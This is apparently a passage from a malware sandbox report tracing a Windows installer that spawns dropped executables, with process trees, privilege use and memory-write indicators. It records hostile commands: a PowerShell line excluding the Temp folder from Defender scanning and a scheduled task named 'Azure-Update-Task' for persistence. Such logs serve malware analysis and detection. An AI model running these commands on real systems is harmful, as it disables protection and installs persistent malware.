HTTP User-Agent header	136	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exerundll32.exesvchost.exeFri15af75ee9b.exeWerFault.exeUltraMediaBurner.exeWerFault.exe

pid	process
1016	powershell.exe
1016	powershell.exe
1016	powershell.exe
2316	rundll32.exe
2316	rundll32.exe
4400	svchost.exe
4400	svchost.exe
1016	powershell.exe
1016	powershell.exe
2128	Fri15af75ee9b.exe
2128	Fri15af75ee9b.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5020	WerFault.exe
5012	UltraMediaBurner.exe
5012	UltraMediaBurner.exe
2636
2636
2636
2636
2636
2636
2636
2636
2636
2636
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe
5604	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2636

Suspicious behavior: MapViewOfSection 17 IoCs

Processes:

Fri15af75ee9b.exeMicrosoftEdgeCP.exevhhhjtavhhhjta

pid	process
2128	Fri15af75ee9b.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
6468	vhhhjta
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
1144	vhhhjta
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

8449239.exe

pid process

1352 8449239.exe

pid	process
1352	8449239.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Fri1553f0ee90.exeFri155442fc38b.exepowershell.exe1599265.exe2.exePublicDwlBrowser1100.exerundll32.exesvchost.exeBearVpn 3.exe3615448.exeWerFault.exeinstaller.exe5072515.exeWerFault.exeWerFault.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	2032	Fri1553f0ee90.exe
Token: SeDebugPrivilege	1832	Fri155442fc38b.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	3752	1599265.exe
Token: SeDebugPrivilege	4888	2.exe
Token: SeDebugPrivilege	4460	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeDebugPrivilege	4400	svchost.exe
Token: SeDebugPrivilege	2160	BearVpn 3.exe
Token: SeDebugPrivilege	2280	3615448.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeDebugPrivilege	5020	WerFault.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeDebugPrivilege	3760	installer.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeDebugPrivilege	2756	5072515.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeRestorePrivilege	5604	WerFault.exe
Token: SeBackupPrivilege	5604	WerFault.exe
Token: SeBackupPrivilege	5604	WerFault.exe
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeDebugPrivilege	5604	WerFault.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeDebugPrivilege	2316	rundll32.exe
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeDebugPrivilege	5156	WerFault.exe
Token: SeDebugPrivilege	2236	WerFault.exe
Token: SeShutdownPrivilege	2636
Token: SeCreatePagefilePrivilege	2636
Token: SeShutdownPrivilege	2636

Suspicious use of FindShellTrayWindow 9 IoCs

Processes:

UltraMediaBurner.exeultramediaburner.tmpinstaller.exe

pid process

5012 UltraMediaBurner.exe
5288 ultramediaburner.tmp
3760 installer.exe
2636
2636
2636
2636
2636
2636

pid	process
5012	UltraMediaBurner.exe
5288	ultramediaburner.tmp
3760	installer.exe
2636
2636
2636
2636
2636
2636

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

MicrosoftEdge.execmd.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

pid	process
2636
6708	MicrosoftEdge.exe
4908	cmd.exe
6868	MicrosoftEdgeCP.exe
6868	MicrosoftEdgeCP.exe
4052	MicrosoftEdge.exe
7568	MicrosoftEdgeCP.exe
7568	MicrosoftEdgeCP.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

2636

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.exeWerFault.execmd.exeFri157e25afd971.exeFri1553f0ee90.exeFri155442fc38b.exeLzmwAqmV.exe

description	pid	process	target process
PID 4372 wrote to memory of 4136	4372	setup_x86_x64_install.exe	setup_installer.exe
PID 4372 wrote to memory of 4136	4372	setup_x86_x64_install.exe	setup_installer.exe
PID 4372 wrote to memory of 4136	4372	setup_x86_x64_install.exe	setup_installer.exe
PID 4136 wrote to memory of 1712	4136	setup_installer.exe	setup_install.exe
PID 4136 wrote to memory of 1712	4136	setup_installer.exe	setup_install.exe
PID 4136 wrote to memory of 1712	4136	setup_installer.exe	setup_install.exe
PID 1712 wrote to memory of 776	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 776	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 776	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 872	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 872	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 872	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 4688	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 4688	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 4688	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 5028	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 5028	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 5028	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 5024	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 5024	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 5024	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 920	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 920	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 920	1712	setup_install.exe	cmd.exe
PID 776 wrote to memory of 1016	776	cmd.exe	powershell.exe
PID 776 wrote to memory of 1016	776	cmd.exe	powershell.exe
PID 776 wrote to memory of 1016	776	cmd.exe	powershell.exe
PID 1712 wrote to memory of 352	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 352	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 352	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 1056	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 1056	1712	setup_install.exe	cmd.exe
PID 1712 wrote to memory of 1056	1712	setup_install.exe	cmd.exe
PID 872 wrote to memory of 1344	872	cmd.exe	Fri1544861ac3fe6a.exe
PID 872 wrote to memory of 1344	872	cmd.exe	Fri1544861ac3fe6a.exe
PID 872 wrote to memory of 1344	872	cmd.exe	Fri1544861ac3fe6a.exe
PID 4688 wrote to memory of 1396	4688	cmd.exe	Fri156ec98815f89c.exe
PID 4688 wrote to memory of 1396	4688	cmd.exe	Fri156ec98815f89c.exe
PID 4688 wrote to memory of 1396	4688	cmd.exe	Fri156ec98815f89c.exe
PID 5028 wrote to memory of 1632	5028	cmd.exe	Fri157e25afd971.exe
PID 5028 wrote to memory of 1632	5028	cmd.exe	Fri157e25afd971.exe
PID 5028 wrote to memory of 1632	5028	cmd.exe	Fri157e25afd971.exe
PID 5024 wrote to memory of 1832	5024	cmd.exe	Fri155442fc38b.exe
PID 5024 wrote to memory of 1832	5024	cmd.exe	Fri155442fc38b.exe
PID 1056 wrote to memory of 2032	1056	WerFault.exe	Fri1553f0ee90.exe
PID 1056 wrote to memory of 2032	1056	WerFault.exe	Fri1553f0ee90.exe
PID 920 wrote to memory of 2128	920	cmd.exe	Fri15af75ee9b.exe
PID 920 wrote to memory of 2128	920	cmd.exe	Fri15af75ee9b.exe
PID 920 wrote to memory of 2128	920	cmd.exe	Fri15af75ee9b.exe
PID 1632 wrote to memory of 2688	1632	Fri157e25afd971.exe	Fri157e25afd971.tmp
PID 1632 wrote to memory of 2688	1632	Fri157e25afd971.exe	Fri157e25afd971.tmp
PID 1632 wrote to memory of 2688	1632	Fri157e25afd971.exe	Fri157e25afd971.tmp
PID 2032 wrote to memory of 3180	2032	Fri1553f0ee90.exe	LzmwAqmV.exe
PID 2032 wrote to memory of 3180	2032	Fri1553f0ee90.exe	LzmwAqmV.exe
PID 2032 wrote to memory of 3180	2032	Fri1553f0ee90.exe	LzmwAqmV.exe
PID 1832 wrote to memory of 3752	1832	Fri155442fc38b.exe	1599265.exe
PID 1832 wrote to memory of 3752	1832	Fri155442fc38b.exe	1599265.exe
PID 1832 wrote to memory of 5012	1832	Fri155442fc38b.exe	UltraMediaBurner.exe
PID 1832 wrote to memory of 5012	1832	Fri155442fc38b.exe	UltraMediaBurner.exe
PID 1832 wrote to memory of 5012	1832	Fri155442fc38b.exe	UltraMediaBurner.exe
PID 3180 wrote to memory of 5000	3180	LzmwAqmV.exe	Chrome 5.exe
PID 3180 wrote to memory of 5000	3180	LzmwAqmV.exe	Chrome 5.exe
PID 1832 wrote to memory of 4072	1832	Fri155442fc38b.exe	7008383.exe
PID 1832 wrote to memory of 4072	1832	Fri155442fc38b.exe	7008383.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2680

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2436

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1860

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1384

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1240

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1112

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1048

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
- Executes dropped EXE
PID:7180

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
- Executes dropped EXE
PID:8116

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6824

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:400

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
4⤵
- Creates scheduled task(s)
PID:7936

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:6264

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:7732

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:7276

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:2180

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:6276

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:6808

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:3772

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:5904

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:5572

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:8056

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:5936

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:7368

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:7748

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:1220

C:\Users\Admin\AppData\Roaming\vhhhjta
C:\Users\Admin\AppData\Roaming\vhhhjta
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6468

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:7504

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:6744

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:4776

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:8016

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:4132

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:6152

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:2812

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:7764

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:7324

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:6096

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:4824

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:6632

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:6460

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:1404

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:7068

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:6904

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:7988

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:3768

C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe
C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:6996

C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe
C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe --Task
3⤵
PID:1200

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:4428

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:4424

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:3000

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:4376

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:3864

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:6800

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:4460

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:4436

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:7116

C:\Users\Admin\AppData\Roaming\vhhhjta
C:\Users\Admin\AppData\Roaming\vhhhjta
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1144

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:4788

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:7976

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:6516

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:4732

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:3780

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:5512

C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe
C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:6888

C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe
C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe --Task
3⤵
PID:4852

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:1328

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:6832

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:4812

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:5596

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:6488

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:4144

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
- Suspicious use of SetThreadContext
PID:6224

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:6292

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:2352

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:3748

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:8188

C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe
C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:6348

C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe
C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe --Task
3⤵
PID:1868

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:1904

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:6448

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
3⤵
PID:5980

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:972

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:6808

C:\Users\Admin\AppData\Roaming\vhhhjta
C:\Users\Admin\AppData\Roaming\vhhhjta
2⤵
PID:3608

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:900

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:1848

C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe
C:\Users\Admin\AppData\Local\2cb3a0cf-5e62-4969-b0ca-53644a87985f\4041.exe --Task
2⤵
PID:5236

C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
2⤵
PID:1896

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:68

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4372

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4136

C:\Users\Admin\AppData\Local\Temp\7zS82069A74\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS82069A74\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1712

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
- Suspicious use of WriteProcessMemory
PID:776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1016

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1544861ac3fe6a.exe
4⤵
